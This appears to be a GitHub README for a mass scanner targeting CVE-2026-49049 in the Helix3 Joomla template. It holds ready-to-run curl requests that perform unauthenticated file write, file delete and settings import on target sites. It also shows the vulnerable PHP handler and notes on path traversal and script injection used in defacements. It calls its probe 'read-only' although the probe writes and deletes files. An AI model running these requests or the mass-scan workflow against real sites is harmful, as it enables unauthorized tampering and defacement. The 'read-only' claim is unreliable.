
Read-only vulnerability scanner for CVE-2026-49049 — Helix3 Joomla plugin unauthenticated AJAX handler
CVE-2026-49049 affects the Helix3 template framework for Joomla (versions 1.0 through 3.1.0). The onAjaxHelix3 handler, reachable via Joomla's com_ajax dispatcher, performs no authentication, authorization, or CSRF validation on several destructive actions:
Note: The
importaction was added in Helix3 v3.x. Sites running v2.x are only affected bysaveandremove.
The vulnerability was discovered by Phil Taylor (mySites.guru) and published June 29, 2026.
| Helix3 Version | save/remove | import |
|---|---|---|
| 1.0 – 2.x | Vulnerable | Not present |
| 3.0 – 3.1.0 | Vulnerable | Vulnerable |
| 3.1.1+ | Patched | Patched |
git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
# Single target
python cve_2026_49049.py -t 192.168.1.100
# Mass scan
python cve_2026_49049.py -f targets.txt -o results.txt
# With JSON report + verbose
python cve_2026_49049.py -f targets.txt --json report.json -v
-t, --target Single target (domain or IP)
-f, --file File with targets, one per line
-o, --output Real-time text output (default: cve-2026-49049_scan.txt)
--json Structured JSON report (default: cve-2026-49049_report.json)
--threads Concurrent workers (default: 15)
--timeout HTTP timeout in seconds (default: 15)
-v, --verbose Show probe details
The scanner performs a read-only probe — it writes a harmless JSON file to the Helix3 layout folder via the unauthenticated save endpoint, verifies it was written, then immediately deletes it via the remove endpoint. No persistent changes are left on the target.
$ python cve_2026_49049.py -t 192.168.1.100 -v
CVE-2026-49049 — Helix3 (JoomShaper)
Joomla Unauthenticated AJAX Handler Scanner
[*] save — accessible (probe: 3a9719da)
[*] remove — accessible (probe cleaned)
Host : 192.168.1.100
Status : vulnerable
Helix3 : 2.5.6
Vulnerable: YES
save : YES
remove : YES
import : NO
Time : 2.0s
The scanner probes these exact endpoints. For manual verification:
Step 1 — Confirm Helix3 is installed
curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
# Look for <version>X.X.X</version>
Step 2 — Test save action (unauthenticated file write)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
Step 3 — Test remove action (unauthenticated file delete)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=remove&data[layoutName]=_test_probe.json'
Step 4 — Test import action (v3.x only, not available in v2.x)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=import&data[template_id]=1&data[settings]={}'
# Note: import was added in Helix3 v3.x.
# Sites running v2.x will return an empty response for this action.
In Helix3 versions before 3.1.1, plugins/ajax/helix3/helix3.php processes requests via onAjaxHelix3() with no guards:
public function onAjaxHelix3()
{
$input = Factory::getApplication()->input;
$data = $input->post->get('data', [], 'array');
$action = $data['action'];
$layoutName = $data['layoutName'];
// No auth check. No CSRF token. No path validation.
$filepath = $layoutPath . $layoutName; // path traversal possible
switch ($action) {
case 'remove':
unlink($filepath); // arbitrary file delete
break;
case 'save':
fwrite(fopen($filepath . '.json', 'wb'), $data['content']); // write
break;
}
}
layoutName=../../../somewhere/evil writes files outside the intended layout directorysave (which appends .json), remove can target any file typecustom_js is rendered unescaped in the template output, enabling script injection on every page. This is the vector used in real-world defacement attacks.FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.
This software is intended for security professionals conducting authorized penetration tests, organizations auditing their own infrastructure, and researchers studying vulnerability exploitation.
Unauthorized access to computer systems is illegal and may violate:
- United States: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesia: UU ITE Pasal 30 & 46
- European Union: Directive 2013/40/EU
- United Kingdom: Computer Misuse Act 1990
The authors assume no liability for misuse. By using this software, you accept full responsibility for your actions.
| Resource | Link |
|---|
This project is not affiliated with JoomShaper, Joomla, or Open Source Matters, Inc.
| Action | Impact | Available In |
|---|
save | Writes attacker-controlled JSON files with path traversal | All versions |
remove | Deletes arbitrary files — no extension or path restriction | All versions |
import | Overwrites stored template parameters in the database | v3.x only |
| Original Advisory (mySites.guru) | Helix3 3.1.1 Security Fix |
| NVD Entry | CVE-2026-49049 |
| OpenCVE | CVE-2026-49049 |
| JoomShaper GitHub | Helix3 Repository |